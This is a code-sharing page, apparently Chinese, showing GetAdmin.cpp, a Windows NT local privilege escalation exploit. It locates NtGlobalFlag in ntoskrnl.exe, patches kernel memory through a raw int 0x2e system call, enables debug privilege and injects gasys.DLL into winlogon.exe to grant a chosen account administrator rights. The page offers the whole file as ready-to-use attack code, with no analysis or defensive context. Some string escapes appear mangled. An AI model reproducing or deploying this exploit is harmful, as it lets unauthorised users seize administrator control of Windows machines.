GetAdmin.cpp
上传用户:yihongxs01
上传日期:2007-01-05
资源大小:48k
文件大小:7k
源码类别:

系统/网络安全

开发平台:

WINDOWS

  1. #include <Windows.H>
  2. #include <stdio.h>
  3. #include <tchar.h>
  4. #include <imagehlp.h>
  5. #include "InjLib.h"
  6. DWORD PsGetProcessIdFromModuleName(LPCTSTR szName);
  7. #define PROCESSID_LOGON 32
  8. #define PROCESS_MODNAMELOGON "winlogon.exe"
  9. char Account[255];
  10. //////////////////////////////////////////////////////////////
  11. #define NTOSKRNL_BASE 0x80100000
  12. #define NTGLOBALFLAG_RELPTR 0x0007bc4c // sp3
  13. // pNtGlobalGlag = NTOSKRNL_BASE + NTGLOBALFLAG_RELPTR 
  14. // Change this function and you not need read access to ntoskrnl.exe .
  15. DWORD GetNtGlobalFlagPtr()
  16. {
  17. PIMAGE_NT_HEADERS nt_headers;
  18. PIMAGE_EXPORT_DIRECTORY export_data;
  19. DWORD export_data_size;
  20. PDWORD FunctionsNames,FunctionsPtrs;
  21. PWORD NameOrdinals;
  22. HANDLE hFile,hFileMap;
  23. DWORD file_len;
  24. PVOID mod_base,func_ptr=0,image_base;
  25. char file_path[MAX_PATH];
  26. char * func_name;
  27. DWORD i;
  28. GetSystemDirectory(file_path,sizeof(file_path));
  29. strcat(file_path,"\ntoskrnl.exe");
  30. hFile = CreateFile(
  31.      file_path, // pointer to name of the file 
  32.      GENERIC_READ, // access (read-write) mode 
  33.      0, // share mode 
  34.      0, // pointer to security descriptor 
  35.      OPEN_EXISTING, // how to create 
  36.      0, // file attributes 
  37.      0// handle to file with attributes to copy  
  38.     );
  39. if(hFile ==  INVALID_HANDLE_VALUE) return 0;
  40. file_len = GetFileSize(hFile,0);
  41. hFileMap =  CreateFileMapping(
  42.      hFile, // handle to file to map 
  43.      0, // optional security attributes 
  44.      PAGE_READONLY, // protection for mapping object 
  45.      0, // high-order 32 bits of object size  
  46.      0, // low-order 32 bits of object size  
  47.      0// name of file-mapping object 
  48.     );
  49.     mod_base = MapViewOfFile(
  50.      hFileMap, // file-mapping object to map into address space  
  51.      FILE_MAP_READ, // access mode 
  52.      0, // high-order 32 bits of file offset 
  53.      0, // low-order 32 bits of file offset 
  54.      0// number of bytes to map 
  55. );
  56. nt_headers = ImageNtHeader(mod_base);
  57. image_base = (PVOID)nt_headers->OptionalHeader.ImageBase;
  58. export_data  = (PIMAGE_EXPORT_DIRECTORY)
  59. ImageDirectoryEntryToData(
  60. mod_base,
  61. FALSE,
  62. IMAGE_DIRECTORY_ENTRY_EXPORT,
  63. &export_data_size
  64. );
  65. FunctionsNames = (PDWORD)ImageRvaToVa(
  66. nt_headers,
  67. mod_base,
  68. (DWORD)export_data->AddressOfNames,
  69.         0);
  70. FunctionsPtrs = (PDWORD)ImageRvaToVa(
  71. nt_headers,
  72. mod_base,
  73. (DWORD)export_data->AddressOfFunctions,
  74. 0);
  75. NameOrdinals = (PWORD)ImageRvaToVa(
  76. nt_headers,
  77. mod_base,
  78. (DWORD)export_data->AddressOfNameOrdinals,
  79. 0);
  80. for(i=0;i<export_data->NumberOfFunctions;i++)
  81. {
  82. func_name = (PCHAR)(FunctionsNames[i]+(DWORD)mod_base);
  83. if(!strcmp(func_name,"NtGlobalFlag"))
  84. {
  85. func_ptr = (PVOID)FunctionsPtrs[NameOrdinals[i]];
  86. }
  87. }
  88. UnmapViewOfFile(mod_base);
  89. CloseHandle(hFileMap);
  90. CloseHandle(hFile);
  91. if(!func_ptr) return 0;
  92. return (DWORD)image_base+(DWORD)func_ptr;
  93. }
  94. BOOL ChangeNtGlobalFlag(DWORD pNtGlobalFlag)
  95. {
  96. DWORD callnumber = 0x3;
  97. DWORD stack[32] ;
  98. int i;
  99. DWORD handle=0;
  100. CHAR string[255];
  101. if(!pNtGlobalFlag) return 0;
  102. stack[0] = (DWORD)string;
  103. stack[1] = (DWORD)&handle;//pNtGlobalFlag;
  104. for(i=0;i<0x100;i++)
  105. {
  106. sprintf(string,"NT now cracking... pass %d",i);
  107. if(handle & 0xf00){
  108. stack[1] = (DWORD)pNtGlobalFlag+1;
  109. }
  110. __asm{
  111. mov eax, callnumber;
  112. mov edx, stack;
  113. lea edx,dword ptr [stack]
  114. int 0x2e;
  115. }
  116. if( stack[1] == pNtGlobalFlag+1) break;
  117. }
  118. return TRUE;
  119. }
  120. BOOL AdjustPrivileges(LPCTSTR privilege)
  121. {
  122.  HANDLE hToken;              // handle to process token 
  123.  TOKEN_PRIVILEGES tkp;        // ptr. to token structure 
  124.  
  125.  BOOL fResult;                  // system shutdown flag 
  126.  
  127. // 
  128. // Get the current process token handle 
  129. // so we can get debug privilege. 
  130.   
  131.  
  132. OpenProcessToken(GetCurrentProcess(), 
  133.         TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ;
  134.  
  135. // Get the LUID for debug privilege. 
  136.  
  137. LookupPrivilegeValue(NULL, privilege, 
  138.         &tkp.Privileges[0].Luid); 
  139.  
  140. tkp.PrivilegeCount = 1;  // one privilege to set    
  141. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
  142.  
  143. // Get shutdown privilege for this process. 
  144.  
  145. fResult = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, 
  146.     (PTOKEN_PRIVILEGES) NULL, 0); 
  147.  
  148. return fResult;
  149. }
  150. HINSTANCE hInst;
  151. HWND hWnd;
  152. BOOL CALLBACK MyDlgProc( HWND hwndDlg, UINT uMsg,WPARAM wPara, LPARAM lParam   );
  153. BOOL AttachToProcess(DWORD ProcessId);
  154. BOOL DetachFromProcess(DWORD ProcessId);
  155. int main(int argc,char** argv)
  156. {
  157. DWORD AccountMaxLength = 255;
  158. DWORD ProcessId;
  159. if(!argv[1])
  160. GetUserName(Account,&AccountMaxLength );
  161. else
  162. strcpy(Account,argv[1]);
  163. ChangeNtGlobalFlag(GetNtGlobalFlagPtr());
  164. int ret = AdjustPrivileges(SE_DEBUG_NAME);
  165. // ret = AdjustPrivileges(SE_PROF_SINGLE_PROCESS_NAME);
  166. // ret = AdjustPrivileges(SE_SYSTEM_PROFILE_NAME);
  167. // ret = AdjustPrivileges(SE_TCB_NAME);
  168. if(!ret){
  169. printf("Adjust privileges failed! Insufficient rights. n");
  170. return(-1);
  171. }
  172. ProcessId = PsGetProcessIdFromModuleName(PROCESS_MODNAMELOGON);
  173. if(ProcessId <=0)
  174. {
  175. printf("Can't determine winlogon process id. n");
  176. return(-1);
  177. }
  178. ret = AttachToProcess(ProcessId );
  179. Sleep(500);
  180. DetachFromProcess(ProcessId );
  181. if(ret)
  182. {
  183. printf("Congratulations , now account %s have administrator rights!",Account);
  184. }
  185. return(0);
  186. }
  187. int AttachToProcess(DWORD dwProcessId )
  188. {
  189. HANDLE hProcess;
  190. if (dwProcessId == 0) {
  191. dwProcessId = GetCurrentProcessId();
  192. }
  193. hProcess = OpenProcess(PROCESS_ALL_ACCESS,//PROCESS_QUERY_INFORMATION|PROCESS_VM_WRITE|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION,
  194. FALSE, dwProcessId);
  195. if (hProcess == NULL) {
  196. (GetLastError() == 5)? 
  197. printf(__TEXT("Insufficient access rights.n"))
  198. :printf(__TEXT("Invalid process Idn"));
  199. return FALSE;
  200. } else {
  201. TCHAR szLibFile[MAX_PATH];
  202. GetModuleFileName(hInst, szLibFile, sizeof(szLibFile));
  203. _tcscpy(_tcsrchr(szLibFile, __TEXT('\')) + 1, __TEXT("gasys.DLL"));
  204. if(InjectLib(hProcess, szLibFile) ){
  205. // printf(__TEXT("Attach operation completed successfully.n"));
  206. CloseHandle(hProcess);
  207. }
  208. else{
  209. printf( __TEXT("Attach operation failed!n"));
  210. CloseHandle(hProcess);
  211. return FALSE;
  212. }
  213. }
  214. return TRUE;
  215. }
  216. int DetachFromProcess(DWORD dwProcessId )
  217. {
  218.   HANDLE hProcess;
  219. if (dwProcessId == 0) {
  220. dwProcessId = GetCurrentProcessId();
  221. }
  222. hProcess = OpenProcess(PROCESS_ALL_ACCESS,
  223.  FALSE, dwProcessId);
  224. if (hProcess == NULL) {
  225. (GetLastError() == 5)? 
  226. printf(__TEXT("Insufficient access rights.n"))
  227. :printf(__TEXT("Invalid process Idn"));
  228. return FALSE;
  229. } else {
  230. TCHAR szLibFile[MAX_PATH];
  231. GetModuleFileName(hInst, szLibFile, sizeof(szLibFile));
  232. _tcscpy(_tcsrchr(szLibFile, __TEXT('\')) + 1, __TEXT("gasys.DLL"));
  233. if(UnInjectLib(hProcess ,szLibFile)){
  234. // printf(__TEXT("Detach operation completed successfullyn"));
  235. CloseHandle(hProcess);
  236. }
  237. else{
  238. printf(__TEXT("Detach operation failed!n"));
  239. CloseHandle(hProcess);
  240. return FALSE;
  241. }
  242. }
  243. return TRUE;
  244. }